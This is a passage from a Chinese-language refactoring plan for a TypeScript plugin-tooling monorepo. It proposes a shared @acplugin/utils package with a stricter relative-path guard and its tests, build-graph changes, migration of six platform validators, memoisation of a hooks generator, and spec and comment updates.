`.//foo`。tsconfig.base.json 有 `verbatimModuleSyntax:true`,平台已大量 `import type {...} from '@acplugin/core'`(如 claude validator.ts:3),证明 type-only import 在构建后被擦除、零运行时依赖。 + +**具体改动:** + +新目录 packages/utils,四文件: +(1) packages/utils/package.json —— 拷 packages/platforms/claude-code/package.json 并改:name:'@acplugin/utils', version:'0.0.0', private:true, type:module, exports {'.':{types:'./dist/index.d.mts',import:'./dist/index.mjs'}}, scripts{build:'tsdown',test:'vitest run --passWithNoTests',typecheck:'tsc -p tsconfig.json'}, dependencies:{}(运行时零依赖), devDependencies 加 `@acplugin/core:'workspace:*'`(仅供类型)+ @types/node/tsdown/@typescript/native/vitest(catalog:)。 +(2) packages/utils/tsconfig.json —— 字节同 platform:`{"extends":"../../tsconfig.base.json","include":["src/**/*.ts","test/**/*.ts"]}`(注意深度是 ../../ 因为 utils 在 packages/ 下,不是 packages/platforms/)。 +(3) packages/utils/tsdown.config.ts —— 逐字拷 packages/core/tsdown.config.ts(entry src/index.ts, esm, node20, dts oxc, clean)。 +(4) packages/utils/src/index.ts —— 内容: +```ts +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue } from '@acplugin/core'; // type-only → 擦除,零运行时依赖 + +export function isRecord(value: unknown): value is Record { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} +export function isNonEmptyString(value: unknown): value is string { + return typeof value === 'string' && value.trim().length > 0; +} +// 统一后的单一路径守卫:严格超集(=两原实现拒绝集合的并集,只会拒更多,绝不放松) +export function isSafeRelativeReference(reference: string): boolean { + if (!reference.startsWith('./') || reference.includes('\\') || reference.includes('\0')) return false; + const relative = reference.slice(2); + if (relative.length === 0) return false; + if (relative.split('/').includes('..')) return false; // 来自 Codex 守卫:拒任何 .. 段 + const normalized = path.posix.normalize(relative); // 来自 validator 守卫 + return normalized !== '.' && normalized !== '..' + && !normalized.startsWith('../') && !path.posix.isAbsolute(normalized); +} +export function referenceExists(artifacts: ReadonlySet, reference: string): boolean { + const target = reference.slice(2).replace(/\/+$/u, ''); + if (artifacts.has(target)) return true; + for (const artifact of artifacts) if (artifact.startsWith(`${target}/`)) return true; + return false; +} +export function scopedArtifacts(paths: readonly string[], pluginRoot: string): ReadonlySet { + if (pluginRoot === '') return new Set(paths); + const prefix = `${pluginRoot}/`; + return new Set(paths.filter(p => p.startsWith(prefix)).map(p => p.slice(prefix.length))); +} +export function report( + context: { reportDiagnostic: (d: { code: string; severity: 'error'; message: string; fieldPath?: readonly (string|number)[] }) => void }, + code: string, message: string, fieldPath?: readonly (string|number)[], +): void { + context.reportDiagnostic({ code, severity: 'error', message, ...(fieldPath === undefined ? {} : { fieldPath }) }); +} +export type JsonObjectResult = + | { readonly ok: true; readonly value: Record } + | { readonly ok: false; readonly reason: 'read' | 'not-object' }; +export async function readJsonObject(root: string, artifactPath: string): Promise { + try { + const value: unknown = JSON.parse(await fs.readFile(path.join(root, artifactPath), 'utf8')); + if (!isRecord(value)) return { ok: false, reason: 'not-object' }; + return { ok: true, value }; + } catch { return { ok: false, reason: 'read' }; } +} +``` +report 的 context 参数用结构化最小签名(不 import PlatformValidateContext),既零 Core 运行时耦合又对所有平台的 context 兼容;scopedArtifacts 收 `readonly string[]`(不收 Core context 类型),迁移时调用点补 `.map(a=>a.path)`。 + +**边界与连带:** 确定性:所有函数纯、无 env/时间/随机/绝对路径,输出仅依赖输入字节 → 稳定。§3:函数名与实现均无平台 ID/Hooks/MCP 语义(isSafeRelativeReference 不叫 Plugin/Skill/Codex),诊断码字符串留在各平台调用点(见 P16-c),utils 不含码常量。§4.3:private:true 使其不进公开三包组;仅 type-only 依赖 core(擦除后运行时零依赖)。路径守卫统一后的行为收紧点(仅影响这三函数的旧放行值):`./a/../b`(旧 isSafePluginReference 放行→现拒)、`./.`(旧 Codex 守卫放行→现拒)、`.//foo`(旧 Codex 守卫放行→现拒);已 grep 六平台测试的路径字面量,唯一命中是 `./.mcp.json`(点开头文件名,非 `..` 段),经两实现与统一实现均判 true,无回归;且 acplugin 只生成 canonical 路径(`./commands`/`./skills/x`/`./hooks/hooks.json`/`./.mcp.json`),永不产出含 `..` 的引用。JsonRecord 类型:各平台本地 `type JsonRecord = Record` 与 utils isRecord 返回的 `Record` 同型,call-site 赋值不破类型。 + +**测试:** 新增 packages/utils/test/utils.test.ts(非平凡的路径守卫必须留一处可运行检查): +```ts +import { describe, it, expect } from 'vitest'; +import { isSafeRelativeReference, referenceExists, scopedArtifacts, isRecord } from '../src/index.js'; +describe('@acplugin/utils guards', () => { + it('isSafeRelativeReference is a strict superset of the old guards', () => { + for (const ok of ['./commands', './skills/x', './hooks/hooks.json', './.mcp.json']) expect(isSafeRelativeReference(ok)).toBe(true); + for (const bad of ['../x', 'x', './', './..', './a/../b', './.', './/foo', './a\\b', './a\0b']) expect(isSafeRelativeReference(bad)).toBe(false); + }); + it('referenceExists/scopedArtifacts match migrated behavior', () => { + const a = new Set(['commands/a.md','skills/s/SKILL.md']); + expect(referenceExists(a, './commands')).toBe(true); + expect(referenceExists(a, './missing')).toBe(false); + expect([...scopedArtifacts(['p/x','p/y','q/z'], 'p')].sort()).toEqual(['x','y']); + expect(isRecord({})).toBe(true); expect(isRecord([])).toBe(false); expect(isRecord(null)).toBe(false); + }); +}); +``` +断言重点:三处收紧值(`./a/../b`,`./.`,`.//foo`)现判 false;canonical 路径与 `./.mcp.json` 仍 true。 + +**验收:** `pnpm --filter @acplugin/utils run build` 产出 dist/index.mjs + index.d.mts;`grep -c '@acplugin/core' packages/utils/dist/index.mjs` = 0(type-only 已擦除);`pnpm --filter @acplugin/utils run test`/`typecheck` 通过;package-boundaries 的公开三包组断言不受影响(private:true)。 + +**工作量:** M | **独立分支:** 是 | **风险:** 无未决;唯一实质行为变化是路径守卫统一后的三处收紧,已用测试 grep 证明无现存用例依赖旧放行。 + + +--- + +### P16-b · 把 @acplugin/utils 接入构建图(主包 alwaysBundle 内联 + 平台依赖 + tsconfig paths + pretest 链),验证 §4.3 零泄漏 + +**决策:** @acplugin/utils 完全镜像 @acplugin/core 的处理:平台把它列为运行时 dependency(平台 dist 中 external),主包 tsdown deps.alwaysBundle 内联一次;pnpm-workspace 无需改。 + +**现状(锚点):** packages/acplugin/tsdown.config.ts 的 deps.alwaysBundle 现有 @acplugin/core + 六个 platform + extension-mcp,onlyBundle 有 image-size/saxes/yaml/xmlchars。packages/acplugin/package.json devDependencies 有 @acplugin/core+六 platform(workspace:*),pretest(:27)=`pnpm --filter @acplugin/core run build && pnpm --filter '@acplugin/platform-*' run build`。tsconfig.base.json paths 有 @acplugin/core→packages/core/src/index.ts 等,无 utils。已确认平台 dist external 化 core:packages/platforms/claude-code/dist/index.mjs:1 `import {...} from "@acplugin/core"`;六平台 tsdown 均无 alwaysBundle(`grep -c alwaysBundle`=0)。pnpm-workspace.yaml packages 通配含 `packages/*`(已覆盖 packages/utils)。hooks pretest(package.json:17)含 `pnpm --filter @tokenroll/acplugin run build`(该步内联 utils→需 utils dist)。packages/test pretest 用 `pnpm --filter "...@tokenroll/acplugin" run build`(`...` 拓扑,已含 utils)。 + +**具体改动:** + +(1) packages/acplugin/tsdown.config.ts:在 deps.alwaysBundle 数组加 `'@acplugin/utils'`(与 core 并列)。 +(2) packages/acplugin/package.json:devDependencies 加 `"@acplugin/utils": "workspace:*"`(与 @acplugin/core 同类,仅构建期内联用)。 +(3) 六个 packages/platforms/*/package.json:各自 dependencies 从 `{"@acplugin/core":"workspace:*"}` 改为加一行 `"@acplugin/utils":"workspace:*"`。 +(4) tsconfig.base.json paths:在 `@acplugin/core` 之后加 `"@acplugin/utils": ["./packages/utils/src/index.ts"]`(供 tsc typecheck 直接解析源码)。 +(5) pretest 链补 utils 先建: + - packages/acplugin/package.json:27 → 前置 `pnpm --filter @acplugin/utils run build && ` 再 core、platform-*。 + - packages/extensions/hooks/package.json:17 → 最前面加 `pnpm --filter @acplugin/utils run build && `(因其后 `@tokenroll/acplugin run build` 会内联 utils,需 dist 就绪)。 + - packages/test:无需改(`...@tokenroll/acplugin` 拓扑已含 utils)。 +(6) pnpm-workspace.yaml:不改(packages/* 已覆盖 packages/utils)。 + +**边界与连带:** 构建顺序:平台 dependency 声明使 `pnpm -r run build`(根 build 脚本)拓扑先建 utils→platforms→acplugin,自动正确;硬编码 filter 的两处 pretest 已在(5)补齐。平台 dist external 化 utils(平台 tsdown 无 alwaysBundle,utils 是其 dependency→保持 import 字符串),主包 alwaysBundle 内联一次,与 core 完全同构,无重复内联/无 6 份副本膨胀。§4.3:主包 dist 内联后不得出现 `from '@acplugin/utils'`(已被现有 package-boundaries.test.ts:75 的 `/from\s+["']@acplugin\//` 覆盖)。hooks/mcp Extension dist 不 import utils(它们只 import @tokenroll/acplugin),现有 :117 `not.toContain('@acplugin/')` 仍成立。 + +**测试:** 无需新增 §4.3 测试 —— packages/test/test/package-boundaries.test.ts 已覆盖:(a) :75-76 断言主包 dist 无任何 `@acplugin/` import(涵盖 utils 泄漏);(b) :121-138 断言公开包恰为三包组(utils private:true 不入列)。只需在 P16 分支跑该测试确认仍绿。可选:在 :75 附近补一条注释性断言 `expect(source).not.toMatch(/@acplugin\/utils/)` 以显式点名(非必需,已被通配覆盖)。 + +**验收:** 全量 `pnpm run build` 拓扑成功;`grep -R "@acplugin/utils" packages/acplugin/dist` 无命中;packages/test 的 package-boundaries.test.ts 全绿;`pnpm --filter @tokenroll/acplugin run typecheck` 通过(paths 解析 utils 源码)。 + +**工作量:** S | **独立分支:** 是 | **风险:** 无未决。唯一坑是漏改 hooks pretest 会在 CI 报 `@tokenroll/acplugin run build` 找不到 utils/dist —— (5)已覆盖。 + + +--- + +### P16-c · 六平台 validator/manifest/components/protocol 改用 @acplugin/utils 并删本地副本;Codex 三路径函数收敛为 isSafeRelativeReference + +**决策:** 逐平台把重复守卫替换为 utils import 并删本地定义;三个 Codex 路径函数全部改调 isSafeRelativeReference;readJson 改薄封装 utils.readJsonObject 但保留各平台专属诊断码;cursor 的 glob 版 referenceExists 与各平台 report 诊断码保持本地。 + +**现状(锚点):** 见 P16-a 已核实的全部 file:line。补充调用点:isSafePluginReference 在 claude validator 用于 :485、:558,在 codex validator 用于 :256、:279、:594、:644(含 validateBrandingImage:279);isSafeCodexPluginPath 仅在 codex/protocol.ts 内部使用 :128(screenshots)、:179(composerIcon/logo),未经 index.ts 再导出(index.ts 只导出 types/PLATFORM_ID/PLATFORM_API_VERSION/codex 工厂);isSafeSkillPath 仅在 codex/components.ts:131(iconSmall/iconLarge)使用。readJson 调用点:claude validator:637/669/675、codex validator:992/1024/1030。scopedArtifacts 调用点:claude validator:506、codex validator:870。 + +**具体改动:** + +各文件顶部加 `import { isRecord, isNonEmptyString, report, referenceExists, scopedArtifacts, isSafeRelativeReference, readJsonObject } from '@acplugin/utils';`(按各文件实际用到的子集),删除对应本地定义: +- claude-code/src/validator.ts:删 isRecord(:99)、report(:111)、isSafePluginReference(:158)、referenceExists(:179)、scopedArtifacts(:447);把 :485/:558 的 isSafePluginReference→isSafeRelativeReference;:506 `scopedArtifacts(context, pluginRoot)`→`scopedArtifacts(context.candidate.unit.artifacts.map(a=>a.path), pluginRoot)`;readJson(:132)改薄封装: +```ts +async function readJson(context, artifactPath): Promise { + const r = await readJsonObject(context.candidate.root, artifactPath); + if (r.ok) return r.value; + report(context, r.reason==='not-object'?'CLAUDE_MANIFEST_OBJECT_REQUIRED':'CLAUDE_MANIFEST_READ_FAILED', + r.reason==='not-object'?`${artifactPath} must contain a JSON object.`:`${artifactPath} must be present and contain valid JSON.`); + return undefined; +} +``` +- codex/src/validator.ts:删 isRecord(:99)、report(:111)、isSafePluginReference(:189)、referenceExists(:210)、scopedArtifacts(:229);:256/:279/:594/:644 及 validateBrandingImage 内 isSafePluginReference→isSafeRelativeReference;:870 scopedArtifacts 调用同上补 `.map`;readJson(:132)同 claude 模式但用 CODEX_ 码;保留 parseYamlObject 本地(用 utils.isRecord)。 +- codex/src/protocol.ts:删 isSafeCodexPluginPath(:71),:128/:179 改 isSafeRelativeReference,import 之。isCodexHttpsUrl/parseCodexSvgDimensions/codexInterfaceFieldIssue 等保留(平台语义)。 +- codex/src/components.ts:删 isSafeSkillPath(:75)与本地 isNonEmptyString(:53),:131 改 isSafeRelativeReference,import isNonEmptyString/isSafeRelativeReference。isUniqueStringArray/reportFieldError 保留本地(reportFieldError 带 CODEX_COMPONENT_FIELD_INVALID 码 = 平台语义)。 +- claude-code/src/components.ts:删本地 isNonEmptyString(:48),import 之(isUniqueStringArray/reportFieldError 留本地)。 +- cursor/src/validator.ts:删 isRecord(:25)、report(:37),import 之;保留本地 isSafeReference(:57,glob 版语义不同)与 referenceExists(:74,glob 版);其 validateReference 诊断码不变。 +- cursor/src/manifest.ts:删本地 isNonEmptyString(:30),import 之;SEMVER_PATTERN 见 P16-e。 +- pi/src/validator.ts:删 isRecord(:23)、report(:34),import 之。 +- pi/src/manifest.ts:删本地 isNonEmptyString(:27),import 之。 +- opencode/src/validator.ts:删 isRecord(:18)、report(:29),import 之。 +- antigravity/src/validator.ts:删 report(:13),import 之(该文件内联 JSON 解析用的是 `value===null||typeof...`,可选改用 utils.isRecord,非必需)。 +各平台本地 `type JsonRecord = Record` 别名保留(可读性,且与 utils 返回同型)。 + +**边界与连带:** 诊断码/消息全部留在平台调用点 → 输出字节不变 → 确定性 & §3 均守住(utils 不含任何平台码)。readJson 薄封装保持原双分支语义(parse 抛错→READ_FAILED;非对象→OBJECT_REQUIRED),逐平台核对码前缀。cursor 的 isSafeReference/referenceExists 是 glob 感知的不同实现,绝不可换成 utils 版(会破 glob 校验)。isSafeCodexPluginPath 未外泄(index 不再导出),删除安全。三处路径收紧(P16-a 已列)在这些真实调用点均只作用于生成路径,无回归。scopedArtifacts 签名从收 context 改收 `string[]`,两处调用点必须同步补 `.map(a=>a.path)`(漏改会类型报错,typecheck 兜底)。 + +**测试:** 无需改平台断言(诊断码/消息不变);但必须回归跑六平台 test:`pnpm --filter '@acplugin/platform-*' run test`。补一条 grep 守卫(可放 packages/test 或 CI):确认平台 src 不再有本地重复定义 —— `grep -rn 'function isRecord' packages/platforms/*/src` 应仅剩 0 处(全部迁走)。若某平台测试恰好断言了含 `..` 的路径为 valid(已 grep,无),才需调整;当前无。 + +**验收:** 六平台 `build`+`typecheck`+`test` 全绿;`grep -rn 'function isRecord\|function isNonEmptyString\|function isSafePluginReference\|function isSafeCodexPluginPath\|function isSafeSkillPath' packages/platforms/*/src` 仅剩 cursor 的 isSafeReference(glob)与各平台保留项,重复守卫归零;诊断输出与迁移前逐码一致(可对比迁移前 validate 快照)。 + +**工作量:** L | **独立分支:** 是 | **风险:** churn 面最大(触 12+ 文件、10+ 调用点);风险点是 readJson 封装漏掉某分支码 / scopedArtifacts 调用点漏补 .map —— 均由 typecheck + 平台测试兜底。建议与 P16-a/b 同分支原子落地(单独 commit 分文件)。 + + +--- + +### P16-d · Hooks wire.mjs 改 per-platform memoize + 加同平台跨 hook 字节一致测试 + +**决策:** 在 createWireSource 内部做 per-platform 记忆化(Map),消除 per-(adapter,hook) 重复构造整段模板;在根出口一处修复,所有 adapter 调用点自动受益。 + +**现状(锚点):** packages/extensions/hooks/src/wire-source.ts:29 `createWireSource(platform)` 是纯函数,返回值只依赖 `platform`(6 个字面量之一),但每次调用都重新拼整段 ~170 行模板字符串。调用点:adapters.ts:26 import,:356-360(applyAdapter 内 for-hook 循环,claude/codex)、:486-490(emitHookRuntime,cursor/antigravity/opencode/pi)。即 N 个 hook × 平台 → 重算 N 次同一串。产物路径 dist//plugin/hooks//wire.mjs(见 hooks.test.ts:429/431)。 + +**具体改动:** + +packages/extensions/hooks/src/wire-source.ts:把现 createWireSource 体改名为内部 `buildWireSource(platform)`,新 createWireSource 记忆化: +```ts +const WIRE_SOURCE_CACHE = new Map(); +export function createWireSource(platform: HookAdapterPlatform): string { + const cached = WIRE_SOURCE_CACHE.get(platform); + if (cached !== undefined) return cached; + const source = buildWireSource(platform); + WIRE_SOURCE_CACHE.set(platform, source); + return source; +} +function buildWireSource(platform: HookAdapterPlatform): string { /* 原 :30-217 体原样 */ } +``` +adapters.ts:356-360 与 :486-490 不改(仍调 createWireSource(platform)),自动命中缓存。 + +**边界与连带:** 确定性:缓存值只由 platform(编译期常量)决定,与任何 build 输入无关,模块级缓存跨 build 复用同字节 → 引用透明,不违反‘纯函数/无副作用’的实质(无 fs/env/随机)。缓存至多 6 条字符串,内存可忽略。不改变任何产物字节(memoize 前后 wire.mjs 完全相同),不影响现有 hooks.test.ts:429 的 claude/codex wire 断言。选择在 wire-source.ts 一处修(rung 2/6:所有 caller 都过这里),而非在 adapters.ts 两个 emit 点各加缓存(会重复逻辑)。 + +**测试:** 在 packages/extensions/hooks/test/hooks.test.ts 现有 'builds all canonical events once...'(:357,已用 canonicalHooks() 为 claude+codex 建多 hook)末尾加断言: +```ts +for (const platform of ['claude-code', 'codex']) { + const dir = path.join(root, `dist/${platform}/plugin/hooks`); + const ids = (await fs.readdir(dir)).filter(n => n !== 'hooks.json'); + const wires = await Promise.all(ids.map(id => fs.readFile(path.join(dir, id, 'wire.mjs'), 'utf8'))); + for (const w of wires) expect(w).toBe(wires[0]); // 同平台跨 hook wire.mjs 字节一致 + expect(ids.length).toBeGreaterThan(1); // 确保确实多 hook 才有意义 +} +// 跨平台仍应不同(claude 用 CLAUDE_PLUGIN_ROOT) +const cc = await fs.readFile(path.join(root, 'dist/claude-code/plugin/hooks', (await fs.readdir(path.join(root,'dist/claude-code/plugin/hooks'))).find(n=>n!=='hooks.json')!, 'wire.mjs'),'utf8'); +const cx = await fs.readFile(path.join(root, 'dist/codex/plugin/hooks', (await fs.readdir(path.join(root,'dist/codex/plugin/hooks'))).find(n=>n!=='hooks.json')!, 'wire.mjs'),'utf8'); +expect(cc).not.toBe(cx); +``` + +**验收:** hooks 包 test 全绿,新断言证明同平台每个 hook 的 wire.mjs 字节一致、跨平台不同;memoize 不改任何产物字节(可选:对同一 platform 调 createWireSource 两次断言 `===` 同一引用)。 + +**工作量:** S | **独立分支:** 否 | **风险:** 无。此项不依赖 @acplugin/utils,可独立落地(但归入 G7 同分支即可)。 + + +--- + +### P16-e · 标记不宜盲迁项(SEMVER_PATTERN 语义分歧)+ 可选低价值项(findCanonicalDocument)+ 落地顺序(建议先做) + +**决策:** SEMVER_PATTERN 不盲迁(两副本语义不同,属平台语义,违反‘不含平台语义’判据),保留各平台本地或仅在产品确认放宽后统一;findCanonicalDocument 作为可选低 ROI 项,给出实现但允许时间盒内跳过;P16 整组建议在 G2/G4(Core/平台)改动之前先落地。 + +**现状(锚点):** SEMVER_PATTERN 两份且不同:cursor/src/manifest.ts:22(exported,`/^...(?:-pre)?$/u`,无 build metadata、带 u 标志)vs codex/src/validator.ts:58(local,`/^...(?:-pre)?(?:\+build)?$/`,允许 build metadata、无 u 标志)。二者对 `1.2.3+build` 判定相反 → 语义分歧。findCanonicalDocument:无同名函数;实为各平台 serializeDocuments 内重复模式(claude manifest:191、antigravity manifest:101、codex manifest:259、cursor manifest:182、pi manifest:149、opencode config-document:103):`const m = documents.find(d=>d.id===ID); if(!m||m.path!==PATH||m.format!==FMT) throw '<平台> ... missing its canonical ... Document.'; if(documents.length!==1) throw '<平台> received an unknown Document.'`,其中 ID/PATH/FMT/throw 文案/length 约束均含平台特化。 + +**具体改动:** + +SEMVER_PATTERN(推荐 A=不迁):保持现状,在 utils 不提供 SEMVER_PATTERN;各平台副本加一行注释说明分歧理由。备选 B(仅当产品同意放宽 cursor):utils 导出 `export const SEMVER_PATTERN = /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?(?:\+[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?$/u`(全 semver),cursor/codex 均 import,并把 cursor 现有拒 build-metadata 的测试改为接受 —— 这是一次 spec 变更,需 changeset + 明确 sign-off。 +findCanonicalDocument(可选):utils 加 +```ts +import type { DraftDocument } from '@acplugin/core'; // type-only +export function findCanonicalDocument(documents: readonly DraftDocument[], id: string, path: string, format: string): DraftDocument | undefined { + const doc = documents.find(d => d.id === id); + return doc && doc.path === path && doc.format === format ? doc : undefined; +} +``` +各平台 serializeDocuments 用 `const m = findCanonicalDocument(documents, ID, PATH, FMT); if(!m) throw '<平台>...';` 保留本地 throw 文案 + `documents.length!==1` 断言。 + +**边界与连带:** SEMVER:盲迁会改变 cursor 对 `x.y.z+build` 的接受性 → 破 spec/测试,故按任务自身‘不含平台语义’判据判定为不合格迁移项。findCanonicalDocument:extract 仅省 ~2 行 find+比较 × 6,平台仍各留 throw+length,净收益边际,并给 utils 引入 DraftDocument 类型耦合(type-only,尚可);opencode 是 config-document 且 format 可能不同,ID/PATH 各异,统一函数只吃这三参、不碰文案,§3 守住。落地顺序:P16 是纯重构(除三路径收紧),若在 G2/G4 之后做,G2/G4 会在 6 份副本上各自改动、随后 P16 再删并集中 → 双倍改动 + 合并冲突;先做 P16 则 G2/G4 直接基于去重后的单一实现,零重复劳动。 + +**测试:** SEMVER 若走备选 B:改 cursor 的 CURSOR_MANIFEST_VERSION_INVALID 相关用例,加 `1.2.3+build` 现判 valid 的断言,并加 changeset。findCanonicalDocument 若采用:六平台现有 serializeDocuments 的 '缺失 canonical/多余 document 抛错' 测试不变(文案与 length 语义保留)即为回归保证。 + +**验收:** SEMVER 决策记录在案(默认 A 不迁,除非拿到放宽 cursor 的 sign-off);若采用 findCanonicalDocument,六平台 serializeDocuments 测试全绿且抛错文案逐字不变;确认 P16 分支先于 G2/G4 合并(或至少 G2/G4 rebase 到 P16 之上)。 + +**工作量:** S | **独立分支:** 否 | **风险:** SEMVER 备选 B 是 spec 变更,须产品确认——默认不做;findCanonicalDocument ROI 低,时间盒内可跳过不影响 P16 主目标。落地顺序若被打乱(G2/G4 先行)会显著增加 P16 合并成本 —— 需在计划层面锁定 P16 优先。 + + +--- +## S4 — 规范 / 记录(仅注释/文档,不改行为) + +### P15 · 规范 §9.4 补写并行化前提与其结构成本 + +**决策:** 在 spec §9.4 “未来并行化不得改变可观察顺序” 句旁补一段实现前提:并行化前必须先让诊断/兼容性/元数据按 owner 分桶或排序键完全脱离插入时序,并替换现有基于插入序的 checkpoint。 + +**现状(锚点):** .llmdoc-tmp/specs/tokenroll-acplugin-1.0-spec.md:629 只有一句承诺:『1.0 中 Platform 按配置顺序串行执行,避免生命周期副作用和报告顺序不确定。未来并行化不得改变可观察顺序。』未写清代价。实际耦合点:packages/core/src/lifecycle.ts:226 `const diagnostics = new DiagnosticCollector(reportRedaction)` 是所有 Hook/Scanner/Registry 共享的单实例;诊断最终顺序由 diagnostics.ts:179 sortDiagnostics 的内容键(platform/extension/owner/location/code/message)决定,已基本与插入序无关,但 (a) 全键相等的并列项回退到稳定排序的输入序,(b) lifecycle.ts:685 `const propagatedCompatibilityStart = compatibility.size` 配合 diagnostics.ts:418 applyStrictness(..., start) 的按下标切片,是显式依赖串行 append 顺序的 checkpoint。 + +**具体改动:** + +在 spec 第 629 行那句之后新增一段(纯文档,Markdown 段落): +『实现前提:要让本承诺成立,诊断、兼容性与元数据结论要么排序键完全独立于产生时刻(见 §18),要么在合并前按 owner(platform: / extension: / public)分桶并按配置顺序重放。当前实现由所有 Hook、Scanner、Registry 共享单一 DiagnosticCollector(packages/core/src/lifecycle.ts 内 `new DiagnosticCollector(...)`),按插入顺序累积、仅在读取时用内容键做确定性排序;串行下其内容排序已消除顺序差异,但该结构并未按 owner 结构化,且兼容性严格度检查依赖位置 checkpoint(`compatibility.size` 快照 + applyStrictness 的 start 下标切片),该 checkpoint 显式假设串行 append。若未来并行执行各 Platform,必须先:①改为 owner 分桶收集,或证明所有报告排序键(含并列项 tie-break)完全独立于插入与并发时序;②用与并发无关的 owner/subject 归属替换位置 checkpoint。此为并行化必须预付的结构成本,不能塞进引入并行的同一改动里顺带完成。』 + +**边界与连带:** 纯 spec 文档改动,不触碰代码,不影响确定性/产物字节。措辞须准确:不要断言当前诊断顺序随并发漂移(内容键已排序);真正会漂移的是 tie-break 并列项与 compatibility 的位置 checkpoint。若 llmdoc/architecture 或 conversion-matrix 引用了 §9.4 行号,注意行号会因新增段落下移(它们按小节标题引用,通常无需改)。 + +**测试:** 无代码测试。验证:spec Markdown 渲染无破坏;若仓库有 llmdoc 链接检查(llmdoc:update),重跑确认 §9.4 锚点未失效。 + +**验收:** §9.4 承诺句下方存在该实现前提段,明确点名共享 DiagnosticCollector 与位置 checkpoint 两处成本;不新增任何代码或行为承诺。 + +**工作量:** S | **独立分支:** 否 | **风险:** none(需确保描述与代码事实一致:diagnostics 内容键已排序,勿夸大为‘串行才正确’)。 + + +--- + +### P17d-1 · Codex/Claude 允许字段集补 §21 核验日期注解 + +**决策:** 给 Codex plugin/interface/openai.yaml 与 Claude manifest 的允许字段集 doc 注释补『核验日期:2026-08-06 + §21 官方来源』,镜像现有 Hook schema 注解风格。 + +**现状(锚点):** 现有可镜像风格:packages/platforms/claude-code/test/platform.test.ts:466 `/** Claude Code Hook 官方契约核验日期:2026-08-06。 */`;README 用 `last rechecked on 2026-08-06`。待补的字段集注释均无日期:claude-code/src/validator.ts:6 `/** Claude Code Plugin 清单允许出现的官方根字段。 */`(PLUGIN_FIELDS),:81 MARKETPLACE_FIELDS,:84 MARKETPLACE_PLUGIN_FIELDS;codex/src/validator.ts:19 PLUGIN_FIELDS,:25 INTERFACE_FIELDS,:28 SKILL_METADATA_FIELDS(agents/openai.yaml),:32 SKILL_INTERFACE_FIELDS,:42/:45 MARKETPLACE_*;codex/src/protocol.ts:37 `/** Codex Plugin \`interface\` 当前允许的全部官方字段。 */`(CODEX_INTERFACE_FIELDS)。§21 来源(spec:1259/1261):Claude=https://code.claude.com/docs/en/plugins-reference,Codex=https://developers.openai.com/plugins/build/plugins。 + +**具体改动:** + +逐条把 doc 注释末尾追加『核验日期:2026-08-06,来源见 §21 。』: +- claude-code/src/validator.ts:6 → `/** Claude Code Plugin 清单允许出现的官方根字段。核验日期:2026-08-06,来源见 §21 code.claude.com/docs/en/plugins-reference。 */`;同法处理 :81 MARKETPLACE_FIELDS、:84 MARKETPLACE_PLUGIN_FIELDS。 +- codex/src/validator.ts:19 PLUGIN_FIELDS、:25 INTERFACE_FIELDS、:28 SKILL_METADATA_FIELDS(注明 agents/openai.yaml)、:32 SKILL_INTERFACE_FIELDS、:42/:45 MARKETPLACE_* → 追加 `核验日期:2026-08-06,来源见 §21 developers.openai.com/plugins/build/plugins。` +- codex/src/protocol.ts:37 CODEX_INTERFACE_FIELDS → 同上 Codex 来源。 +日期用 2026-08-06 与 README/test 现有注解保持一致。 + +**边界与连带:** 纯注释,零运行时影响、零产物字节变化。所有注释含中文,满足 scripts/check-comments.mjs 的 CJK 要求。protocol.ts:37 注释含反引号 `interface`,追加文本勿破坏该 JSDoc。日期须与 hooks/README.md、mcp/README.md 的 2026-08-06 一致(不要各处不同日期)。 + +**测试:** 无新测试。跑 `pnpm -r typecheck` 与 eslint 确认注释未破坏解析;跑 check-comments.mjs 确认覆盖率不降。 + +**验收:** 上述每个字段集声明的前置注释都含 `核验日期:2026-08-06` 与对应 §21 URL;typecheck/eslint/check-comments 全绿。 + +**工作量:** S | **独立分支:** 否 | **风险:** none。 + + +--- + +### P17d-2 · Claude displayName/defaultEnabled 的 SchemaStore 陷阱 + 版本门槛注释 + +**决策:** 在 Claude manifest 生成与 PLUGIN_FIELDS 处加注释:displayName/defaultEnabled 在官方 reference 存在但 SchemaStore 无;defaultEnabled 需 Claude Code ≥ v2.1.154。 + +**现状(锚点):** packages/platforms/claude-code/src/manifest.ts:119 `...(metadata.displayName === undefined ? {} : { displayName: metadata.displayName })`,:125 `...(context.options.defaultEnabled === undefined ? {} : { defaultEnabled: ... })`;validator.ts:7-11 PLUGIN_FIELDS 已含 'displayName' 与 'defaultEnabled';manifest.ts:94 options 白名单 `new Set(['strict','defaultEnabled','marketplace'])`,:101-102 defaultEnabled 布尔校验。均无来源/版本陷阱说明。 + +**具体改动:** + +① manifest.ts:125 defaultEnabled 上方加行内注释:`// defaultEnabled 仅存在于官方 plugins-reference,SchemaStore 的 plugin schema 尚未收录;且需 Claude Code ≥ v2.1.154 才生效,低版本会忽略该字段。` +② manifest.ts:119 displayName 上方加:`// displayName 见官方 reference,但 SchemaStore 无此字段,校 SchemaStore 会误报未知字段——以官方 reference 为准。` +③ validator.ts:7 PLUGIN_FIELDS 注释追加:`(displayName/defaultEnabled 依据官方 reference 收录,SchemaStore 尚缺;defaultEnabled 需 Claude Code ≥ v2.1.154)`。 + +**边界与连带:** 纯注释。版本号 v2.1.154 为既定事实,原样写入不要臆改。注释须中文(含少量英文字段名/版本号可接受,只要有 CJK)。不改变字段仍照常写出的行为(add-only)。 + +**测试:** 无新测试;typecheck/eslint/check-comments 复跑。 + +**验收:** manifest.ts 两处字段写出点与 validator.ts PLUGIN_FIELDS 均带该陷阱+版本注释;行为不变。 + +**工作量:** S | **独立分支:** 否 | **风险:** none。 + + +--- + +### P17d-3 · sortObject/cloneJson 整数键实际按 JS 数值序的注释纠正 + +**决策:** 纠正/补全注释:整数索引键最终按 JS 数值序输出,localeCompare 只决定非整数字符串键顺序;此为 Object.fromEntries/defineProperty 后枚举重排整数键所致,且不依赖 ICU。 + +**现状(锚点):** packages/core/src/serialization.ts:11-21 sortObject 用 `.sort(([a],[b]) => a.localeCompare(b,'en'))` 后 `Object.fromEntries`;文档注释(:3-10)只说『按键名排序对象』。packages/core/src/documents.ts:36-64 cloneJson 用 `Object.keys(object).sort((l,r)=>l.localeCompare(r,'en'))` 后 